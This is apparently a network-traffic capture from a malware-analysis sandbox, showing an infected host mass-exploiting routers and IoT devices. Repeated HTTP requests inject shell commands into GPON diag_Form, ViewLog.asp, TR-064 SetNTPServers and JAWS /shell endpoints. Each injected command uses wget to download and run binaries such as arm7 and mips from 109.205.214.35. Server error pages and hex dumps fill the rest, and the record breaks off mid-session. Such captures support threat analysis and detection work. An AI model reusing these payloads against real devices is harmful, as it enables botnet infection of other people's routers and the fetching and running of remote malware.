XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:09.385668039 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:21:50 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1014	192.168.2.13	53238	13.88.188.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.227797985 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:10.093460083 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1015	192.168.2.13	57860	82.103.99.243	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.278997898 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.353513002 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:10.556320906 CET	336	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Thu, 21 Mar 2024 04:23:10 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Keep-Alive: timeout=20 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:23:10.556349993 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:23:10 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1016	192.168.2.13	45858	99.231.98.233	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.324822903 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1017	192.168.2.13	50410	104.20.79.192	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.473480940 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1018	192.168.2.13	57298	52.72.233.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.479221106 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:09.573616028 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
1019	192.168.2.13	42720	27.50.93.239	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.554039001 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:23:09.877541065 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:09 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Accept-Ranges: bytes Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC;
Mar 21, 2024 05:23:09.877670050 CET	1286	IN	Data Raw: 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 Data Ascii: } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; }
Mar 21, 2024 05:23:09.877800941 CET	1286	IN	Data Raw: 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 Data Ascii: %; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-se
Mar 21, 2024 05:23:09.877923965 CET	1286	IN	Data Raw: 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b Data Ascii: t-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: le
Mar 21, 2024 05:23:09.878005981 CET	1286	IN	Data Raw: 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e Data Ascii: 6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd
Mar 21, 2024 05:23:09.878104925 CET	1286	IN	Data Raw: 74 56 51 33 52 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 Data Ascii: tVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZ
Mar 21, 2024 05:23:09.878186941 CET	1190	IN	Data Raw: 54 6d 4e 74 2b 73 68 6b 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 Data Ascii: TmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiA
Mar 21, 2024 05:23:09.878247976 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to aus.haz.com.au's <a href="mailto:notifications@not
Mar 21, 2024 05:23:09.878314018 CET	378	IN	Data Raw: 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 Data Ascii: panelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="cop

Session ID	Source IP	Source Port	Destination IP	Destination Port
1020	192.168.2.13	57808	83.89.195.18	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.640782118 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:23:09.877271891 CET	521	IN	HTTP/1.1 404 Not Found Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Type: text/html X-Content-Type-Options: nosniff Date: Thu, 21 Mar 2024 05:23:08 GMT Cache-Control: no-cache Content-Length: 223 X-XSS-Protection: 1; mode=block Connection: Keep-Alive Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1021	192.168.2.13	47024	181.48.161.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:09.739363909 CET	761	IN	HTTP/1.1 400 Bad Request Server: Mini web server 1.0 ZTE corp 2005. Accept-Ranges: bytes Connection: close Content-Type: text/html; charset=utf-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 54 4d 4c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 48 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <HTML> <HEAD><TITLE>400 Bad Request</TITLE></HEAD> <BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"> <H2>400 Bad Request</H2>Your request has bad syntax or is inherently impossible to satisfy.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1022	192.168.2.13	52334	169.255.59.89	80

Timestamp	Bytes transferred	Direction	Data
